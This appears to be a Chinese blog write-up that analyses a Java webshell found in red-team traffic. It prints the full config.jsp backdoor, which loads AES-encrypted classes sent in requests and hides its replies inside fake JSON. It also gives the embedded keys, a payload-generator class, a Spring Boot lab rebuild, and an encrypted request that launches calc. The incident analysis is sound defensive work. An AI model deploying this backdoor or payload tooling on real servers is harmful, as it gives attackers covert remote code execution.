从零开始的内存马分析——如何骑马反杀(一)

自在人生分类：IT技术人气：57 回帖：0 发布于2年前收藏

文章首发于奇安信攻防社区

https://forum.butian.net/share/1811

在某次实战攻防中，有一对儿小马和大马，他们两个通过了层层设备，终于打入了内网，只是在砍杀的过程中，露出了马脚，从巨大的流量中，被挖了出来，可是，真的有这么容易吗？真的如我们所愿吗？随着你的越发深入的对木马，流量进行解密，你的心中越发的不安……

0x00 前言

0x01 木马分析

1.1 在线检测

1.2 木马总览

上图是apache解析后产生的java文件和相关的字节码

上图是攻击方上传的木马

1.2 特定报文头

POST /ncupload/config.jsp HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208

报文头部，有特定的gzip

1.3 测试类

我们需要一个calc的测试类供我们测试

package com.Test.Basic;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import java.io.IOException;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Echo_Base64 {    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();        for (int i = 0; i &lt; buf.length; i++) {
            String hex = Integer.toHexString(buf[i] &amp; 0xFF);            if(hex.length() ==1){
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());        byte[] code = clazz.toBytecode();
        String bytes = Base64.getEncoder().encodeToString(code);
        System.out.println(parseByte2HexStr(code));
        System.out.println(bytes);
    }
}

package com.Test.Basic;import java.io.IOException;public class ByteCodeEvil {    static {        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {            throw new RuntimeException(e);
        }
    }
}

package com.Test.Basic;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
    }    public Class loadClass(byte[] bytes) {        return super.defineClass(bytes, 0, bytes.length);
    }
}

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.zip.GZIPInputStream;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;public class AVpayloadGenerator {    /**
     * 加密
     *
     * @param  需要加密的内容
     * @return
     */
    public static byte[] encrypt2(byte[] byteContent) {        try {
            SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES");
            Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding
           // byte[] byteContent = content.getBytes("utf-8");
            cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化
            byte[] result = cipher.doFinal(byteContent);            return result; // 加密
        } catch (Exception e){
            e.printStackTrace();
        }        return null;
    }/**
 * base64解密，目测是魔改的base
 */

    public static byte[] base64Encode(byte[] bytes) {
        byte[] value = null;        try {            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {            try {                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Encoder");                Object Encoder = base64.newInstance();                value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes();
            } catch (Exception exception1) {
            }
        }        return value;
    }    public static byte[] base64Decode(byte[] bytes) {
        byte[] value = null;        try {            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {            try {                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Decoder");                Object decoder = base64.newInstance();                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }        return value;
    }    /**将二进制转换成16进制
     * @param buf
     * @return
     */

    public static String parseByte2HexStr(byte buf[]) {
        StringBuffer sb = new StringBuffer();        for (int i = 0; i &lt; buf.length; i++) {            String hex = Integer.toHexString(buf[i] &amp; 0xFF);            if (hex.length() == 1) {
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static byte[] xor(byte[] data) {
        byte[] key;        int len;        int keyLen;        int index;        int i;        for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i &lt;= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i++;
        }        return data;
    }    public static void ReturnMes(String message){
        byte[] bb = base64Decode(message.getBytes());
        System.out.println(uncompress(xor(bb)));
    }    public static byte[] uncompress(byte[] bytes) {        if (bytes == null || bytes.length == 0) {            return null;
        }
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ByteArrayInputStream in = new ByteArrayInputStream(bytes);        try {
            GZIPInputStream ungzip = new GZIPInputStream(in);
            byte[] buffer = new byte[256];            int n;            while ((n = ungzip.read(buffer)) &gt;= 0) {
                out.write(buffer, 0, n);
            }
        } catch (Exception e) {

            e.printStackTrace();
        }        return out.toByteArray();
    }    /*
    * 执行的函数
    * ByteCodeEvil 恶意类，自己构造在同一目录，
    * */
    public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(ByteCodeEvil.class.getName());
        byte[] code = clazz.toBytecode();        //String aaa="aaa";
        byte buff[];
        buff = encrypt2(code);       // buff = encrypt2(aaa.getBytes());
        String result;
        result = parseByte2HexStr(buff);
        System.out.println(result);

    }
}

如上脚本自行编写 AVpayloadGenerator.java

是一个逆向脚本，用于我们生成发送流量的报文

1.4 木马危害

该木马本质没有任何危害，疑似冰蝎类

1.5 config.jsp


    class Loader extends ClassLoader{        public Loader(ClassLoader loader){
            super(loader);
        }        public Class loadClass(byte[] bytes){            return super.defineClass(bytes,0,bytes.length);
        }
    }    public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j &lt; len; i++) {int f =  Character.digit(data[j++], 16) &lt;&lt; 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f &amp; 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i &lt;= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;}    try {

            byte[] buffer = new byte[102400];    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while ((read = inputStream.read(buffer))&gt;0){        bufferStream.write(buffer,0,read);    }    byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData;
        requestData = unHex(requestData);requestData = aes128(requestData, 2);        Class payloadClass = null;        if ((payloadClass = (Class) application.getAttribute("inIT"))==null){
            application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData));
        }else {
            java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();            Object f = payloadClass.newInstance();
            f.equals(request);
            f.equals(arrOut);
            f.equals(requestData);
            f.toString();
            byte[] responseData = arrOut.toByteArray();
            arrOut.reset();
            responseData = xor(responseData);responseData = base64Encode(responseData);
            arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData);
        }
    }catch (Throwable e){

    }

由于木马是html实体编码过后的，我们将他进行分段解密

<jsp:declaration> 声明变量

</jsp:scriptlet> 存放脚本

1.5.1 实体化解码

https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode

1.5.2 代码恢复

我们恢复一下java代码

class Loader extends ClassLoader{    public Loader(ClassLoader loader)
    {        super(loader);
    }    public Class loadClass(byte[] bytes)
    {        return super.defineClass(bytes, 0, bytes.length);
    }
}public static byte[] unHex(byte[] data)
{    int len = data.length;    byte[] out = new byte[len / 2];    for(int i = 0, j = 0; j &lt; len; i++)
    {        int f = Character.digit(data[j++], 16) &lt;&lt; 4;
        f |= Character.digit(data[j++], 16);
        out[i] = (byte)(f &amp; 0xFF);
    }    return out;
}public byte[] aes128(byte[] s, int mode)
{    try
    {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"));        return c.doFinal(s);
    }    catch(Exception e)
    {        return null;
    }
}public static byte[] xor(byte[] data)
{    byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());    int len = data.length;    int keyLen = key.length;    int index = 0;    for(int i = 1; i &lt;= len; i++)
    {
        index = i - 1;
        data[index] = (byte)(data[index] ^ key[(i % keyLen)]);
    }    return data;
}public static byte[] base64Encode(byte[] bytes)
{
    Class base64;    byte[] value = null;    try
    {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]
        {            byte[].class
        }).invoke(Encoder, new Object[]
        {
            bytes
        });
    }    catch(Exception e)
    {        try
        {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = ((String) Encoder.getClass().getMethod("encode", new Class[]
            {                byte[].class
            }).invoke(Encoder, new Object[]
            {
                bytes
            })).getBytes();
        }        catch(Exception e2)
        {}
    }    return value;
}public static byte[] base64Decode(byte[] bytes)
{
    Class base64;    byte[] value = null;    try
    {
        base64 = Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[]) decoder.getClass().getMethod("decode", new Class[]
        {            byte[].class
        }).invoke(decoder, new Object[]
        {
            bytes
        });
    }    catch(Exception e)
    {        try
        {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]
            {
                String.class
            }).invoke(decoder, new Object[]
            {                new String(bytes)
            });
        }        catch(Exception e2)
        {}
    }    return value;
}try{    byte[] buffer = new byte[102400];
    java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream();
    ServletInputStream inputStream = request.getInputStream();    int read = 0;    while((read = inputStream.read(buffer)) &gt; 0)
    {
        bufferStream.write(buffer, 0, read);
    }    byte[] requestData = bufferStream.toByteArray();    byte[] _requestData = new byte[requestData.length - 112];
    java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
    requestData = _requestData;
    requestData = unHex(requestData);
    requestData = aes128(requestData, 2);
    Class payloadClass = null;    if((payloadClass = (Class) application.getAttribute("inIT")) == null)
    {
        application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData));
    }    else
    {
        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
        Object f = payloadClass.newInstance();
        f.equals(request);
        f.equals(arrOut);
        f.equals(requestData);
        f.toString();        byte[] responseData = arrOut.toByteArray();
        arrOut.reset();
        responseData = xor(responseData);
        responseData = base64Encode(responseData);
        arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
        arrOut.write(responseData);
        arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
        responseData = arrOut.toByteArray();
        response.setStatus(200);
        response.setHeader("Content-Type", "application/json");
        response.getOutputStream().write(responseData);
    }
}catch(Throwable e)
{}

代码中的该段，伪造json返回数据，模拟正常业务

0x02 环境搭建

2.1 springboot 搭建

我们首先搭建在springboot中，将config.class在jd-gui打开，我们模拟打开web页面

import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ByteArrayOutputStream;import java.io.IOException;class Loader extends ClassLoader {    public Loader(ClassLoader loader) {        super(loader);
    }    public Class loadClass(byte[] bytes) {        return super.defineClass(bytes, 0, bytes.length);
    }
}@Controllerpublic class helloController {    @RequestMapping("/index")
    @ResponseBody
    public String index(){        return "hello spring boot!";
    }    private static String parseByte2HexStr(byte[] buf){
        StringBuffer sb = new StringBuffer();        for (int i = 0; i &lt; buf.length; i++) {
            String hex = Integer.toHexString(buf[i] &amp; 0xFF);            if(hex.length() ==1){
                hex = '0' + hex;
            }
            sb.append(hex.toUpperCase());
        }        return sb.toString();
    }    public static byte[] unHex(byte[] data) {        int len;        byte[] out;        int i;        int j;        for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j &lt; len; ) {            int f = Character.digit(data[j++], 16) &lt;&lt; 4;
            f |= Character.digit(data[j++], 16);
            out[i] = (byte) (f &amp; 0xFF);
            i++;
        }        return out;
    }    public static byte[] aes128(byte[] s, int mode) {        try {
            Cipher c = Cipher.getInstance("AES");
            c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"));            return c.doFinal(s);
        } catch (Exception exception) {            return null;
        }
    }    public static byte[] xor(byte[] data) {        byte[] key;        int len;        int keyLen;        int index;        int i;        for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i &lt;= len; ) {
            index = i - 1;
            data[index] = (byte) (data[index] ^ key[i % keyLen]);
            i++;
        }        return data;
    }    public static byte[] base64Encode(byte[] bytes) {        byte[] encrypted = null;
        String str;        try {
            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
            encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
        } catch (Exception exception) {            try {
                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Encoder");
                Object Encoder = base64.newInstance();
                str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes});
                str=str.replace("\n", "").replace("\r", "");
                encrypted=str.getBytes();
            } catch (Exception exception1) {
            }
        }        return encrypted;
    }    public static byte[] base64Decode(byte[] bytes) {        byte[] value = null;        try {
            Class&lt;?&gt; base64 = Class.forName("java.util.Base64");
            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
            value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
        } catch (Exception exception) {            try {
                Class&lt;?&gt; base64 = Class.forName("sun.misc.BASE64Decoder");
                Object decoder = base64.newInstance();
                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
            } catch (Exception exception1) {
            }
        }        return value;
    }    @RequestMapping("/index2")
    public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {        try {            byte[] buffer = new byte[102400];
            java.io.ByteArrayOutputStream bufferStream = new  java.io.ByteArrayOutputStream();
            ServletInputStream inputStream = request.getInputStream();            int read=0;            while ((read = inputStream.read(buffer)) &gt; 0) {
                bufferStream.write(buffer, 0, read);
            }            byte[] requestData = bufferStream.toByteArray();            byte[] _requestData = new byte[requestData.length - 112];
            java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length);
            requestData = _requestData;
            requestData = unHex(requestData);
            requestData = aes128(requestData, 2);
            Class payloadClass = null;            //System.out.println(parseByte2HexStr(requestData));
            ServletContext application = request.getSession().getServletContext();            if ((payloadClass = (Class) application.getAttribute("inIT")) == null) {
                application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData));
            } else {
                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
                Object f = payloadClass.newInstance();
                f.equals(request);
                f.equals(arrOut);
                f.equals(requestData);
                f.toString();                byte[] responseData = arrOut.toByteArray();
                arrOut.reset();
                responseData = xor(responseData);
                responseData = base64Encode(responseData);
                arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));
                arrOut.write(responseData);
                arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));
                responseData = arrOut.toByteArray();
                response.setStatus(200);
                response.setHeader("Content-Type", "application/json");
                response.getOutputStream().write(responseData);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}

这里和源代码有所区别，我们需要补充application

也就是

ServletContext application = request.getSession().getServletContext();

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplicationpublic class helloApplication {    public static void main(String[] args) {
        SpringApplication.run(helloApplication.class,args);
        System.out.println("hello springboot");

    }
}

这里是springboot的启动页面，对比，我们是可以访问到的，因此我们尝试burp发包，首先对代码进行简单分析

2.1.1 类加载器

首先，有一个类加载器，但是是直接加载字节码。

2.1.2 unhex解码

unhex 16进制解码

2.1.3 aes128解码

aes128解码，mode是2，也就是解码

2.1.4 xor解码

异或数据，生成返回页面的值

众所周知，xor两次的数据是不变的，根据马中的内容，还原出是json的返回包

2.1.5 base64编解码

反射调用的base64加解密

2.1.6 数据分片

（这个分片会在前期和后期都造成很大的一个干扰）

这里的_requestData 在jd-gui中第一次被误以为是内置函数，被删除了，但是根据流量包分析，发包并没有反应，因此后续在大师傅的提醒下，将数据切片补全

我们首先尝试看看，不带_requestData的效果

我们运行Test类，查看生成的字节码hex，和字节码base

hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017

base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX

接收方：流量 ==》 unhex ==》 aes128 ==》字节码导入
发送方：字节码 ==》 aes128 ==》hex ==》流量

我们运行AVpayloadGenerators生成流量

719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8

我们给index2发送加密字节码，发送两次之后，弹出计算器，说明字节码加载成功

我们接着开放_requestData

我们发现，不生效了

我们去查看一下，代码对传输的数据进行了分割处理

{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""}

我们查看流量包中，对方使用这个json进行模拟正常业务进行传递数据

POST /index2 HTTP/1.1Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Connection: close
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 127.0.0.1:8080Content-Length: 1552{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"}

我们可以看到，返回值就是一个比较伪装的好的报文

分析到这里，本以为已经分析完善了，可是当我们继续查看流量包的时候，发现并没有那么简单，当我们对他的流量进行重新解密的时候，按理说，可以正常解码，而且返回值应该差别不多，但是实际上，解码出来并不是class，而是乱码

